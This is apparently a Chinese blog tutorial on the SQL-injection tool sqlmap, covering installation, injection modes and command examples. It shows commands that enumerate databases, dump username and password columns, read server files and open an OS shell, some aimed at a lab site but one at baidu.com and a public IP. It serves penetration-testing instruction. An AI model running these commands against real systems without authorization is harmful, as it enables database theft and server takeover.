• 渗透测试工具-sqlmap


    简单来说:一个用来做sql注入攻击的工具


    安装

    1,下载sqlmap.zip,下载环境;

    打开sqlmap官网https://github.com/sqlmapproject/sqlmap/ ;下载python-2.7.17.amd64.msi

    2.配置环境变量;

    (控制面板->系统和安全->系统->高级系统设置->环境变量)找到path 新建黏贴python地址

    (不明白的话可以自行百度,这就不细说安装了)

    sqlmap简介

    sqlmap支持五种不同的注入模式:

    1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

    2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

    3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

    4、联合查询注入,可以使用union的情况下的注入。

    5、堆查询注入,可以同时执行多条语句的执行时的注入。

    sqlmap支持的数据库有

    MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase、SAP MaxDB、informix和HsqlDB


    SQLMAP工作流程

    sqlmap -u “http://127.0.0.1/Less-1/index.php?id=1”

    当给sqlmap这么一个url的时候,它会:

    1、检测网站是否能够访问

    2、检测是否有waf

    3、判断可注入的参数

    4、判断可以用那种sql注入技术来注入

    5、识别出那种数据库

    6、根据用户输入的参数,进行操作

    基本格式

    sqlmap -u “http://www.vuln.cn/post.php?id=1”

    默认使用level1检测全部数据库类型

    sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3

    指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

    跟随302跳转

    当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
    当注入错误的时候,先报错再跳转的时候,不需要跟随302。
    目的就是:要追踪到错误信息。

    cookie注入

    当程序有防get注入的时候,可以使用cookie注入
    sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

    从post数据包中注入

    可以使用burpsuite或者temperdata等工具来抓取post包

    sqlmap -r “c: ools equest.txt” -p “username” –dbms mysql    指定username参数

    注入成功后

    获取数据库基本信息

    sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 –dbs

    查询有哪些数据库

    sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test –tables

    查询test数据库中有哪些表

    sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test -T admin –columns

    查询test数据库中admin表有哪些字段

    sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test -T admin -C “username,password” –dump

    dump出字段username与password中的数据

    sqlmap详细命令:

    • –is-dba 当前用户权限(是否为root权限)
    • –dbs 所有数据库
    • –current-db 网站当前数据库
    • –users 所有数据库用户
    • –current-user 当前数据库用户
    • –random-agent 构造随机user-agent
    • –passwords 数据库密码
    • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
    • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

    测试sqlmap功能(dvwa测试网站)

    image

    拿到url后命令行输入

    python2 sqlmap.py –u “http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#
    显示如下:
    image
    如果没有检测到会报错
    现在可以尝试上面的执行语句,如爆库表列等:
    image
    image
    image

    读写文件

    python sqlmap.py -u " " --file-read "要读取文件的目录 "

    image

    os参数(执行系统命令)

    测试流程:

    a)攻击:python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

    image

    b)选择语言:

    sqlmap默认为php,此处根据需求选择。

    image

    c)输入绝对路径:

    此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

    image

    d)建立os-shell并执行命令:

    image

    很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
    (1)网站必须是root权限
    (2)攻击者需要知道网站的绝对路径
    (3)GPC为off,php主动转义的功能关闭

  • 相关阅读:
    matlab线性规划
    matlab中fminbnd函数求最小或者组大值
    正方形和球体,利用蒙特卡洛计算pi值
    python 利用cvxopt线性规划
    K-NN(最近邻分类算法 python
    序列匹配,动态规划
    Block中修改局部变量的值为什么必须声明为__block类型
    iOS之初始化对象
    iOS对象模型学习
    C++对象模型学习
  • 原文地址:https://www.cnblogs.com/simon7s/p/12402583.html
Copyright © 2020-2023  润新知